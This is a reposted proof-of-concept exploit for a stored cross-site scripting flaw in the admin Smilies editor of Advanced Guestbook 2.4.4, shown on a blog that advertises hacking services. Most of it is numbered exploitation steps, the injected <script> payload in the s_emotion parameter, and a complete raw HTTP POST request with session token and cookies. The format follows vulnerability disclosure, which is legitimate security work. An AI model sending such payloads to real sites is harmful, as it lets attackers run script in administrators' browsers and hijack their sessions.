Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86395744

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Advanced Guestbook 2.4.4 - 'Smilies' Persistent Cross-Site Scripting (XSS)
# Date: 17/08/2021
# Exploit Author: Abdulkadir AYDOGAN
# Vendor Homepage: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
# Software Link: https://www.ampps.com/apps/guestbooks/Advanced_Guestbook
# Version: 2.4.4

Advanced Guestbook is a free open source guestbook script developed in PHP.
Examples of features include email notifications, uploading pictures, html
tags handling, multiple polls, comments and themes.

#Description
The following is PoC to use the XSS bug with authorized user.

Firstly there are four part of a emotion object which is :

- Emotion icon
- Emotion file name
- Emotion command which will be used to call this object (s_code)
- Emotion description (s_emotion)

Here is the exploitation steps for vulnerability:

1. Login to your admin account.
2. Go to "Smilies" tab to view and edit emotion icons
3. Click "edit" text in the "Action" column to edit emotions
4. Change emotion description to Javascript code
5. Click the "Submit Settings"
6. Click "Smilies" tab again to view all emotions and Javascript code will
be executed

# Vulnerable Parameter Type: POST
# Vulnerable Parameter: s_emotion
# Attack Pattern: <script>alert("Smile more!")</script>

#PoC
HTTP Request:

POST /advancedguestbook/admin.php HTTP/1.1
Host: HOST_ADDRESS
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://HOST_ADDRESS
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://HOST_ADDRESS/advancedguestbook/admin.php?action=smilies&session=17395de9919fffa0ac9476370c2c7ba0&uid=1&edit_smilie=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.2068746825.1621203842; _gid=GA1.2.1432458757.1621203842;
_gat=1
Connection: close

s_code=:cool:&s_emotion=<script>alert("Smile
more!")</script>&edit_smilie=7&uid=1&session=17395de9919fffa0ac9476370c2c7ba0&action=smilies&add_smilies=1